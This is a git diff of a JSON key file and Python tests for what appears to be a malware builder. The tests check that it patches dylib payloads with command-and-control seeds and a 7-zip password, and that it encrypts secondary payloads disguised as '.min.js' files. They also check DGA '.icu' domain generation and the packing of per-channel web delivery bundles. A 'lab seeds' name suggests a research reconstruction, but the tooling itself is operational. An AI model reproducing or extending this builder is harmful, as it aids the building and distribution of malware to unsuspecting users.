|
||||
@@ -8,25 +10,65 @@
|
||||
"seven_zip_password": "202800cfb1ad3de68e11239dcc26c30b"
|
||||
},
|
||||
"stems": {
|
||||
"800d80e0fa1f2baf9a9e41169ecc88e18042bb17": {
|
||||
"key": "a1cfc122350d103d50d31c9083b0927f125f0973e4266d49bdf94153e1653b15",
|
||||
"group": "A"
|
||||
"1ad1ff474e417d0a07ff1ed70a5f4c9daf3644f6": {
|
||||
"key": "9622b5532c3308ad21fbc7d76974f791f62c544e7f11e5b42aba18790d33d930",
|
||||
"group": "A",
|
||||
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
|
||||
"size": 715760
|
||||
},
|
||||
"3215fc5c0f7e2ccced71057fabe5a55944d87412": {
|
||||
"key": "30041769ac1061ea04ccc1119f7b778736964232dae0fb8c93aa2d09bcb0962e",
|
||||
"group": "B"
|
||||
},
|
||||
"81b403cc1fe0c47839c4ad07e2d7a18618c07dd4": {
|
||||
"key": "feeb9b36649003a6f0a4f4e99861f66df545e3a473d486d2d01695a77c801c9f",
|
||||
"group": "B"
|
||||
},
|
||||
"4817ea8063eb4480e915f1a4479c62ec774f52ce": {
|
||||
"key": "b252669de4b4adc34114fdf10d75f66b3efad6280f4fcd19603f6fac5873ede2",
|
||||
"group": "B"
|
||||
"group": "B",
|
||||
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
|
||||
"size": 747936
|
||||
},
|
||||
"4612aa650e60e2974a9ec37bbf922c79635b493a": {
|
||||
"key": "85ab5908ceb1981df3449b52155a5026561c51d6f9f599acc99c5203b14733eb",
|
||||
"group": "C"
|
||||
"group": "C",
|
||||
"sha256": "7ccfbf4450c5c68822989cf9cdf5d68a79b65a0e0047340cb1c28c834a821953",
|
||||
"size": 715760
|
||||
},
|
||||
"4817ea8063eb4480e915f1a4479c62ec774f52ce": {
|
||||
"key": "b252669de4b4adc34114fdf10d75f66b3efad6280f4fcd19603f6fac5873ede2",
|
||||
"group": "B",
|
||||
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
|
||||
"size": 747936
|
||||
},
|
||||
"667fa543143862135ab6b41740421a4752799863": {
|
||||
"key": "04da244132e7096db7a58bd0d683088df7e09b0cf8ddd39af0210b072484c56d",
|
||||
"group": "A",
|
||||
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
|
||||
"size": 715760
|
||||
},
|
||||
"800d80e0fa1f2baf9a9e41169ecc88e18042bb17": {
|
||||
"key": "a1cfc122350d103d50d31c9083b0927f125f0973e4266d49bdf94153e1653b15",
|
||||
"group": "A",
|
||||
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
|
||||
"size": 715760
|
||||
},
|
||||
"81b403cc1fe0c47839c4ad07e2d7a18618c07dd4": {
|
||||
"key": "feeb9b36649003a6f0a4f4e99861f66df545e3a473d486d2d01695a77c801c9f",
|
||||
"group": "B",
|
||||
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
|
||||
"size": 747936
|
||||
},
|
||||
"a159973efdd00dd988fec1d707338545d9487b6a": {
|
||||
"key": "7ae216d3b4ba8b417b1784f2d0e8f10c40377819345f8946974420fdd1fd111f",
|
||||
"group": "B",
|
||||
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
|
||||
"size": 747936
|
||||
},
|
||||
"e3b865be8672d1357bdaac817cdab2d1b4458492": {
|
||||
"key": "00afe7b09f138818df107a742ab76620880e78e8e4de2dba5d570611ccea04cb",
|
||||
"group": "B",
|
||||
"sha256": "dc2c01ce302d56ab3eef515a64045df507b4b9ec607bb0b4c85938bfa2216925",
|
||||
"size": 747936
|
||||
},
|
||||
"fb95e427382180860f0b48a8854576ec1a6ce7b1": {
|
||||
"key": "7fb9b6821d97f71081ccf74df48cc1d303187d5df410b881b031dcbf44d4fa98",
|
||||
"group": "A",
|
||||
"sha256": "dead74076c027be87eb5a7ef759976a5f261478545ee260e00dd03457dd96cf1",
|
||||
"size": 715760
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -31,7 +31,6 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
reporting_seed=rep,
|
||||
channel_c=channel_c,
|
||||
label=path.name,
|
||||
scheme="https",
|
||||
)
|
||||
self.assertEqual(data.count(dep.encode()), 1)
|
||||
self.assertEqual(data.count(rep.encode()), 1)
|
||||
@@ -79,27 +78,38 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertEqual(xxbb_build.main(), 0)
|
||||
finally:
|
||||
sys.argv = old
|
||||
weifile = artifact / "weifile"
|
||||
weifile = state / "out" / "weifile"
|
||||
details = artifact / "details"
|
||||
self.assertFalse((artifact / "weifile").exists())
|
||||
self.assertTrue((weifile / "index.js").is_file())
|
||||
self.assertTrue((weifile / "weifile.html").is_file())
|
||||
html = (weifile / "weifile.html").read_text(encoding="utf-8")
|
||||
self.assertIn(channel_c, html)
|
||||
self.assertNotIn("__CHANNEL_C__", html)
|
||||
self.assertIn("/t.js", html)
|
||||
self.assertNotIn("/t.js", html)
|
||||
self.assertIn("index.js", html)
|
||||
index_js = (weifile / "index.js").read_text(encoding="utf-8")
|
||||
expected_host = generate_domains(channel_c, 1)[0]
|
||||
self.assertIn(expected_host, index_js)
|
||||
self.assertNotIn("[placeholder].icu", index_js)
|
||||
self.assertIn("CACACACA", index_js)
|
||||
self.assertIn("sessionId:sid", index_js)
|
||||
self.assertIn("__iptj_sid", index_js)
|
||||
self.assertFalse((artifact / "source").exists())
|
||||
self.assertTrue((details / "show.html").is_file())
|
||||
self.assertTrue((details / "corepayload.js").is_file())
|
||||
self.assertTrue((details / "helion.js").is_file())
|
||||
stem = "800d80e0fa1f2baf9a9e41169ecc88e18042bb17"
|
||||
blob = (weifile / f"{stem}.min.js").read_bytes()
|
||||
key = bytes.fromhex(json.loads((TOOLS / "secondary_keys.json").read_text())["stems"][stem]["key"])
|
||||
dylib = decrypt_secondary_minjs(blob, key)
|
||||
self.assertIn(b"11111111111111111111111111111111", dylib)
|
||||
self.assertIn(channel_c.encode(), dylib)
|
||||
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib)
|
||||
self.assertIn(b"https://%@\x00", dylib)
|
||||
self.assertNotIn(b"http://%@\x00", dylib)
|
||||
meta = xxbb_build.load_keys()
|
||||
self.assertGreaterEqual(len(meta["stems"]), 10)
|
||||
self.assertIn("fb95e427382180860f0b48a8854576ec1a6ce7b1", meta["stems"])
|
||||
for stem, info in meta["stems"].items():
|
||||
blob = (weifile / f"{stem}.min.js").read_bytes()
|
||||
dylib = decrypt_secondary_minjs(blob, bytes.fromhex(info["key"]))
|
||||
self.assertIn(b"11111111111111111111111111111111", dylib, stem)
|
||||
self.assertIn(channel_c.encode(), dylib, stem)
|
||||
self.assertIn(xxbb_build.SEVEN_ZIP_PASSWORD.encode(), dylib, stem)
|
||||
self.assertIn(b"https://%@\x00", dylib, stem)
|
||||
self.assertNotIn(b"http://%@\x00", dylib, stem)
|
||||
self.assertNotIn(xxbb_build.ORIGINAL_C.encode(), dylib, stem)
|
||||
|
||||
member, core = extract_member((details / "corepayload.js").read_bytes())
|
||||
self.assertEqual(member, "corepayload.dylib")
|
||||
@@ -120,8 +130,10 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(seeds["domains"]["deployment"][0]))
|
||||
|
||||
manifest = json.loads((out / "MANIFEST.json").read_text())
|
||||
self.assertEqual(manifest["weifile_path"], "/weifile/weifile.html")
|
||||
self.assertIsNone(manifest["weifile_path"])
|
||||
self.assertEqual(manifest["details_path"], "/details/")
|
||||
self.assertEqual(manifest["iptj_host"], generate_domains(channel_c, 1)[0])
|
||||
self.assertTrue(manifest["staged_weifile"].endswith("weifile"))
|
||||
|
||||
def test_seeds_generated_once_then_reused(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
@@ -145,12 +157,13 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertEqual(len(first[0]), 32)
|
||||
self.assertEqual(len(first[1]), 32)
|
||||
self.assertEqual(first[0], first[1])
|
||||
self.assertEqual(first[2], xxbb_build.ORIGINAL_C)
|
||||
self.assertEqual(len(first[2]), 32)
|
||||
self.assertNotEqual(first[2], xxbb_build.SEVEN_ZIP_PASSWORD)
|
||||
self.assertEqual(len(first[3]["deployment"]), 5)
|
||||
self.assertEqual(len(first[3]["reporting"]), 5)
|
||||
self.assertEqual(first[3]["deployment"], first[3]["reporting"])
|
||||
self.assertTrue(xxbb_build.XXBB_DGA_HOST_RE.fullmatch(first[3]["deployment"][0]))
|
||||
self.assertEqual(first[3]["deployment"][0], "1i6cbgdyj3qdk88.icu")
|
||||
self.assertEqual(first[3]["deployment"][0], generate_domains(first[2], 1)[0])
|
||||
|
||||
def test_xxbb_dga_matches_native_pool(self) -> None:
|
||||
self.assertEqual(
|
||||
@@ -207,35 +220,7 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
cli_c=None,
|
||||
)
|
||||
|
||||
def test_http_scheme_rewrites_url_formats(self) -> None:
|
||||
path = xxbb_build.group_dylib_path("C")
|
||||
raw = path.read_bytes()
|
||||
https = xxbb_build.patch_dylib(
|
||||
raw,
|
||||
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
channel_c="cccccccccccccccccccccccccccccccc",
|
||||
label=path.name,
|
||||
scheme="https",
|
||||
)
|
||||
http = xxbb_build.patch_dylib(
|
||||
raw,
|
||||
deployment_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
reporting_seed="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
|
||||
channel_c="cccccccccccccccccccccccccccccccc",
|
||||
label=path.name,
|
||||
scheme="http",
|
||||
)
|
||||
self.assertIn(b"https://%@\x00", https)
|
||||
self.assertIn(b"https://backup%u.icu\x00", https)
|
||||
self.assertNotIn(b"http://%@\x00", https)
|
||||
self.assertIn(b"http://%@\x00", http)
|
||||
self.assertIn(b"http://backup%u.icu\x00", http)
|
||||
self.assertNotIn(b"https://%@\x00", http)
|
||||
self.assertNotIn(b"https://backup%u.icu\x00", http)
|
||||
self.assertEqual(len(http), len(https))
|
||||
|
||||
def test_apply_works_without_channel_name(self) -> None:
|
||||
def test_apply_writes_details_and_staged_weifile(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
artifact = Path(tmp) / "public"
|
||||
state = Path(tmp) / "state"
|
||||
@@ -259,7 +244,81 @@ class XxbbBuildTest(unittest.TestCase):
|
||||
self.assertEqual(xxbb_build.main(), 0)
|
||||
finally:
|
||||
sys.argv = old
|
||||
self.assertTrue((artifact / "weifile" / "weifile.html").is_file())
|
||||
self.assertTrue((artifact / "details" / "show.html").is_file())
|
||||
self.assertFalse((artifact / "weifile").exists())
|
||||
self.assertTrue((state / "out" / "weifile" / "index.js").is_file())
|
||||
index_js = (state / "out" / "weifile" / "index.js").read_text(encoding="utf-8")
|
||||
self.assertIn(generate_domains("33333333333333333333333333333333", 1)[0], index_js)
|
||||
self.assertIn("CACACACA", index_js)
|
||||
|
||||
def test_discovers_all_fafa_secondaries(self) -> None:
|
||||
meta = xxbb_build.load_keys()
|
||||
stems = meta["stems"]
|
||||
self.assertEqual(len(stems), 10)
|
||||
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "A"), 4)
|
||||
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "B"), 5)
|
||||
self.assertEqual(sum(1 for info in stems.values() if info["group"] == "C"), 1)
|
||||
self.assertIn("1ad1ff474e417d0a07ff1ed70a5f4c9daf3644f6", stems)
|
||||
self.assertIn("fb95e427382180860f0b48a8854576ec1a6ce7b1", stems)
|
||||
self.assertEqual(stems["fb95e427382180860f0b48a8854576ec1a6ce7b1"]["group"], "A")
|
||||
|
||||
def test_random_c_rewrites_lab_seeds(self) -> None:
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
path = Path(tmp) / "lab_seeds.json"
|
||||
first = xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=path,
|
||||
cli_dep="11111111111111111111111111111111",
|
||||
cli_rep="11111111111111111111111111111111",
|
||||
cli_c="33333333333333333333333333333333",
|
||||
)
|
||||
second = xxbb_build.resolve_seeds(
|
||||
lab_seeds_path=path,
|
||||
cli_dep="11111111111111111111111111111111",
|
||||
cli_rep="11111111111111111111111111111111",
|
||||
cli_c=None,
|
||||
random_c=True,
|
||||
)
|
||||
self.assertEqual(first[2], "33333333333333333333333333333333")
|
||||
self.assertNotEqual(second[2], first[2])
|
||||
self.assertEqual(len(second[2]), 32)
|
||||
self.assertEqual(second[3]["deployment"][0], generate_domains(second[2], 1)[0])
|
||||
|
||||
def test_pack_replaces_channel_placeholder(self) -> None:
|
||||
import pack_channel
|
||||
from zipfile import ZipFile
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
src = Path(tmp) / "weifile"
|
||||
src.mkdir()
|
||||
(src / "index.js").write_text(
|
||||
'const V="CACACACA";const N="https://syv4c2c8nb8fpzo.icu/api";',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(src / "weifile.html").write_text(
|
||||
'<script type="text/javascript" src="index.js"></script>',
|
||||
encoding="utf-8",
|
||||
)
|
||||
(src / "extra.min.js").write_text("ok", encoding="utf-8")
|
||||
zip_out = Path(tmp) / "channel-source-new" / "FAFA9988.zip"
|
||||
result = pack_channel.pack_channel(
|
||||
channel_code="fafa9988",
|
||||
weifile_src=src,
|
||||
zip_out=zip_out,
|
||||
)
|
||||
self.assertEqual(result["channel_code"], "FAFA9988")
|
||||
self.assertTrue(zip_out.is_file())
|
||||
self.assertIn("CACACACA", (src / "index.js").read_text(encoding="utf-8"))
|
||||
with ZipFile(zip_out) as archive:
|
||||
names = set(archive.namelist())
|
||||
self.assertIn("weifile/index.js", names)
|
||||
self.assertIn("weifile/weifile.html", names)
|
||||
self.assertIn("weifile/extra.min.js", names)
|
||||
index_js = archive.read("weifile/index.js").decode("utf-8")
|
||||
html = archive.read("weifile/weifile.html").decode("utf-8")
|
||||
self.assertIn('const V="FAFA9988"', index_js)
|
||||
self.assertNotIn("CACACACA", index_js)
|
||||
self.assertNotIn("__CHANNEL_C__", html)
|
||||
self.assertNotIn("/t.js", html)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
Reference in New Issue
Block a user